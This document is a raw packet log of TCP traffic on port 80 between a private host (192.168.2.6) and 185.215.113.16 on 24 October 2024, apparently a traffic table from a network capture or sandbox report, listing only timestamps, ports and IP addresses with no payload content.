Oct 24, 2024 09:08:15.908451080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.931962967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932008982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932048082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932055950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932075024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932085991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932101965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932122946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932135105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932178020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932183027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932219982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932235956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932256937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932266951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932295084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.932296991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.932346106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952305079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952374935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952409029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952411890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952430964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952457905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952466011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952502966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952513933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952538967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952548981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952575922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952586889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952620983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952641010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952693939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952697039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952727079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952759027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952759027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952774048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952796936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952809095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952833891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952848911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952869892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952882051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952904940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952915907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952939987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952951908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.952974081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.952989101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953010082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953015089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953056097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953063011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953100920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953111887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953146935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953150034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953190088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953200102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953242064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953246117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953279972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953299999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953310013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953332901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953342915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953356981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953378916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953413963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953427076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953448057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953464031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953478098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953505993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953511953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953526974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953547001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953551054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953583002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953594923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953619003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953622103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953654051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953665972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953691006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953699112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953721046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.953738928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.953762054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984483957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984611034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984649897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984658957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984688044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984707117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984713078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984745979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984755039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984782934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984812975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984818935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984847069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984855890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984867096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984893084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984903097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984929085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984940052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984966993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.984976053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.984999895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985014915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985037088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985048056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985074043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985085964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985111952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985119104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985148907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985160112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985183954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985196114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985219002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985228062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985255003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985265970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985292912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985302925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985325098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985341072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985378027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985385895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985416889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985430002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985466003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985471964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985507965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985519886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985562086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985565901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985598087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985610008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985634089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985666037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985670090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985690117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985719919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985723019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985761881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985780954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985809088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985814095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985850096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985867977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985886097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.985897064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985940933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.985949993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986002922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986006975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986051083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986056089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986090899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986107111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986129999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986148119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986166954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986177921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986212969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986222982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986258030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986272097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986294985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986304998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986325979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986342907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986360073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986371040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986401081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986412048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986438990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986457109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986474991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986485958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986510038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986522913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986545086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986556053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986582994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986589909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986614943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986643076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986649036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986654997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986686945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986701965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986722946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986735106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986758947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986768961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986794949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986805916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986829996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986840963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986866951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986879110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986901999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.986916065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.986944914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.024940968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.024979115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025031090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025048971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025074959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025074005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025074005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025091887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025111914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025140047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025158882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025175095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025175095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025175095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025176048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025186062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025187016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025194883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025213003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025228977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025252104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025260925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025278091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025290966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025309086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025319099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025325060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025335073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025351048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025366068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025394917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025419950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025419950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025420904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025425911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025439024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025464058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025477886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025501013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.025515079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.025547981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049493074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049586058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049645901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049648046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049663067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049688101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049694061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049726009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049736977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049763918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049779892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049802065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049812078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049840927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049855947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049879074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049890041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049916029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049925089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049952030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.049963951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.049992085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.050008059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.050044060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070205927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070254087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070312977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070339918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070374966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070398092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070405006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070458889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070463896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070502043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070518017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070539951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070584059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070595980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070631027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070636988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070657969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070682049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070687056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070724010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070744038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070760012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070775032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070791960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070827007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070848942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070849895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070887089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070903063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070921898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070935965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070959091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.070974112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.070990086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071003914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071027994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071034908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071063042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071073055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071098089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071105957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071135044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071141958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071173906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071186066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071211100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071223021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071245909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071259975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071280956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071294069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071333885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071347952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071383953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:16.071394920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:16.071420908 CEST	80	49997	185.215.113.16	192.168.2.6
